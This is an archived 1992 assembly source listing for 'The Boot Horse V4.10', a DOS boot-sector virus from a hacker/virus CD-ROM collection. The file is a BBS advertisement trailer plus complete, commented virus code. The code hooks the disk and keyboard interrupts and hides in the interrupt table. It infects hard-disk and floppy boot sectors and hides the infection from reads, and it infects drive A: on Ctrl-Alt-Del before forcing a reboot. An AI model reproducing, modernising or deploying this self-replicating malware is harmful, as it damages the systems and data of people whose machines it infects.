home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOOT410.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  7KB  |  258 lines

  1.     .radix 16
  2.     ;******************************************
  3.     ;                                         *
  4.     ;       Code masters LTD. presents:       *
  5.     ;         THE BOOT HORSE V4.10            *
  6.     ;     Finished on the 25.04.1991.         *
  7.     ; This is a boot virus,which does not     *
  8.     ; "cuts" memory.It places itself into the *
  9.     ; second part of the interrupt table.If   *
  10.     ; it is resident you will not be able to  *
  11.     ; see the infected boot sector.If you     *
  12.     ; press CTRL-ALT-DEL & INT 13h had not    *
  13.     ; been changed,drive A: will be infected. *
  14.     ; It shows you the message 'Brr...!' with *
  15.     ; possibility 1/16.                       *
  16.     ;                        Good luck!       *
  17.     ;******************************************
  18. Start:
  19.     cld        ;clear direction
  20.     xor    ax,ax    ;clear ax
  21.     mov    bp,7c00 ;bp=7c00
  22.     mov    ds,ax    ;ds=ax=0
  23.     mov    ss,ax    ;ss=ax=0
  24.     mov    sp,bp    ;sp=bp=7c00
  25.     push    ax    ;save abs. addr. 0000:7c00 in stack for retf
  26.     push    bp    ;
  27.     xor    di,di    ;clear di
  28.     les    bx,[di+9*4]    ;load es:bx with current int 09h
  29.     mov    word ptr [bp+old9h-Start],bx    ;save it in a variable
  30.     mov    word ptr [bp+old9h-Start+2],es
  31.     les    bx,[di+13*4]    ;load es:bx with current int 13h
  32.     mov    word ptr [bp+old13h-Start],bx    ;save it in a variable
  33.     mov    word ptr [bp+old13h-Start+2],es
  34.     mov    ax,0020 ;ax=20
  35.     mov    [di+9*4],offset int9h-Start    ;set int 09h
  36.     mov    [di+9*4+2],ax
  37.     mov    [di+13*4],offset int13h-Start ;set int 13h
  38.     mov    [di+13*4+2],ax
  39.     mov    es,ax        ;es=ax=20
  40.     mov    cx,0200 ;will move 512 bytes
  41.     mov    si,bp        ;si=bp=7c00
  42.     rep    movsb        ;move to 0020:0000 (vectors)
  43.     push    es        ;save es&ax for retf
  44.     mov    ax,offset here-Start
  45.     push    ax
  46.     retf            ;go to 0020:here-Start
  47. here:
  48.     test    byte ptr [046C],0F    ;show a message with possibility 1/16
  49.     jnz    dont
  50.     mov    si,offset msg-Start    ;si point the message
  51.     mov    cx,endmsg-msg    ;strings to show
  52. show_it:
  53.     db    26        ;ES:lodsb
  54.     lodsb            ;load next char
  55.     mov    ah,0e        ;show char
  56.     xor    bh,bh
  57.     int    10        ;do it
  58.     loop    show_it ;show next
  59. dont:
  60.     xor    ah,ah        ;initialize
  61.     int    13
  62.     mov    es,cx        ;es=cx=0
  63.     xchg    ax,di
  64.     inc    ax        ;ax=201 =>read one sector.
  65.     mov    bx,bp        ;bx=bp=7c00
  66.     inc    cx        ;sector 1,cylinder 0.boot sector
  67.     mov    dx,0080 ;dx=0080
  68.     cmp    byte ptr cs:[ident-Start],dl    ;if equal=>loading from hdd
  69.     je    hard
  70.     push    dx        ;save dx
  71.     xor    dl,dl        ;drive A:
  72.     push    ax        ;save ax
  73.     int    13        ;read old bootsector from diskette
  74.     pop    ax        ;restore ax=201,read one sector
  75.     pop    dx        ;drive C:
  76.     mov    bx,0600 ;bx=600
  77.     call    ojoj        ;read hdd's boot sector
  78.     jc    goout        ;no hdd installed
  79.     call    check        ;infected?
  80.     je    goout        ;yes ->out!
  81.     mov    ax,0301 ;write one sector (save old)
  82.     push    ax    ;save ax
  83.     mov    cx,0004 ;sector 4,cylinder 0
  84.     int    13        ;do it
  85.     mov    byte ptr cs:[ident-Start],dl ;set identificator
  86.     push    cs        ;es=cs
  87.     pop    es
  88.     mov    si,07BE ;
  89.     mov    di,01BE ;        copy old partition
  90.     mov    cx,64d        ;
  91.     rep    movsb        ;
  92.     pop    ax        ;Write one sector,ax=301
  93.     xor    bx,bx        ;from addr ES:BX,bx=0 =>write virus
  94.     inc    cx        ;sector 1,cylinder 0.Boot sector.
  95. hard:
  96.     int    13        ;do it
  97. goout:
  98.     mov    byte ptr cs:[ident-Start],0    ;set ident
  99.     retf                    ;go to 0000:7c00
  100. int13h:
  101.             ;save ax,ds
  102.     push    ax
  103.     push    ds
  104.     cmp    ah,02    ;function read?
  105.     jne    skip
  106.     cmp    dl,80    ;drive A,B or C?
  107.     ja    skip
  108.     cmp    cx,0001 ;
  109.     jne    notboot ;gonna read bootsector?
  110.     or    dh,dh    ;
  111.     jnz    notboot ;
  112.     pop    ds    ;restore ax,ds
  113.     pop    ax
  114.     call    ojoj    ;execute the task
  115.     jc    all    ;if error then no sence
  116.     pushf        ;save some registers
  117.     push    ax
  118.     push    cx
  119.     push    dx
  120.     call    check    ;infected?
  121.     jne    notnow
  122.     mov    ax,0201
  123.     inc    cx    ;if so then make some tricks
  124.     inc    cx    ;sector 3,cylinder 0
  125.     inc    dh    ;side 1
  126.     test    dl,80    ;hdd?
  127.     je    dolie    ;if not then
  128.     inc    cx    ;sector 4,cylinder 0
  129.     dec    dh    ;side 0
  130. dolie:
  131.     call    ojoj    ;read boot
  132. notnow:
  133.     pop    dx    ;restore registers
  134.     pop    cx
  135.     pop    ax
  136.     popf
  137. all:
  138. ;       retf    0002    ;return to caller
  139. db    0ca,2,0
  140. notboot:
  141.     test    dl,80    ;drive=C?
  142.     jne    skip    ;if so =>out!
  143.     xor    ax,ax    ;clear ax
  144.     mov    ds,ax    ;ds=ax=0
  145.     mov    al,byte ptr [043F] ;this byte shows whether the motor is active
  146.     push    dx    ;save dx
  147.     inc    dl    ;adjust dl
  148.     test    al,dl    ;check if the motor is active.
  149.     pop    dx    ;restore dx
  150.     jnz    skip    ;if so =>leave
  151.     call    infect    ;infect it
  152. skip:
  153.     pop    ds    ;restore flags,ax,ds
  154.     pop    ax
  155. do:
  156.         db    0EAh    ;go to the original int 13h
  157.     old13h    dd    000h    ;JMP XXXX:XXXX
  158. infect:
  159.     push    bx    ;save some registers
  160.     push    cx
  161.     push    dx
  162.     push    es
  163.     mov    ax,0201 ;will read 1 sector
  164.     mov    cx,0001 ;sector 1,cylinder 0
  165.     xor    dh,dh    ;side 0
  166.     call    ojoj    ;do it
  167.     jc    leave    ;on error...
  168.     mov    byte ptr cs:[count-Start],36d    ;load counter
  169.     call    check    ;infected?
  170.     je    leave    ;leave if so.
  171.     mov    ax,0301 ;write one sector
  172.     inc    cx    ;sector 3,cylinder 0
  173.     inc    cx
  174.     inc    dh    ;side   1
  175.     push    ax    ;save   ax
  176.     call    ojoj    ;do write (save old bootsector)
  177.     pop    ax    ;restore ax
  178.     jc    leave    ;write protected
  179.     push    cs    ;es=cs
  180.     pop    es
  181.     xor    bx,bx    ;write virus
  182.     dec    cx    ;make cx=1
  183.     dec    cx    ;sector 1,cylinder 0
  184.     dec    dh    ;side 0
  185.     call    ojoj    ;that's it!
  186. leave:
  187.     pop    es    ;restore registers
  188.     pop    dx
  189.     pop    cx
  190.     pop    bx
  191.     ret        ;return
  192. ojoj:
  193.     pushf        ;this   calles the original int 13h
  194.     push    cs
  195.     call    do
  196.     ret
  197. check:
  198.     cmp    es:[bx],31FCh    ;this checks the first 2 bytes
  199.     ret            ;to understand if the disk is infected
  200. int9h:
  201.     push    ax        ;the keybord interrupt.save AX
  202.     mov    ah,02        ;check  if ctrl-alt is pressed
  203.     int    16        ;
  204.     test    al,00001100b    ;if not =>exit
  205.     jz    exit
  206.     in    al,60        ;is del pressed?
  207.     cmp    al,53
  208.     je    cont        ;if so...
  209. exit:
  210.     pop    ax        ;restore ax
  211.         db    0EAh    ;go to the old int 09h
  212.     old9h    dd    000h    ;JMP XXXX:XXXX
  213. cont:
  214.     mov    al,20        ;free interrupts
  215.     out    20,al        ;do it
  216.     mov    ax,0003 ;clear screen
  217.     int    10        ;do it
  218.     mov    dx,03D8 ;chose video port
  219.     mov    al,04        ;video flag
  220.     out    dx,al        ;no video
  221.     mov    ax,0060 ;es=60
  222.     mov    es,ax        ;
  223.     xor    bx,bx        ;drive A
  224.     xor    dl,dl        ;bx=0
  225.     mov    ds,bx        ;dx=bx=0
  226.     mov    byte ptr cs:[count-Start],18d ;load counter to 1 sec.
  227.     cli                ;set int 1ch
  228.     mov    [bx+1c*4],offset int1ch-Start
  229.     mov    [bx+1c*4+2],cs
  230.     sti
  231.     cmp    [bx+13*4],offset int13h-Start ;is int 13h changed?
  232.     jne    reset            ;if so reset computer
  233.     call    infect            ;infect disk in drive A
  234. reset:
  235.     xor    bx,bx
  236.     mov    ds,bx            ;don't count memory !
  237.     mov    [bx+0472],1234
  238. ;       JMP     FFFF:0000               ;Reset
  239. db    0ea,00,00,0ff,0ff
  240. int1ch:
  241.     dec    byte ptr cs:[count-Start]    ;decrease counter
  242.     jz    reset            ;if zero then reset
  243.     iret                ;otherwise continue
  244. msg        db    'Brr...!',7,0a,0dh, ;message
  245. endmsg        label    word
  246. ident        db    0        ;0 for fdd,80 for hdd
  247. count        label    byte
  248. partition    db    64d    dup (?)
  249. bootident    dw    0AA55
  250. endcode label word
  251.  
  252. 
  253. ;─────────────────────────────────────────────────────────────────────────;
  254. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  255. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  256. ;─────────────────────────────────────────────────────────────────────────;
  257.  
  258.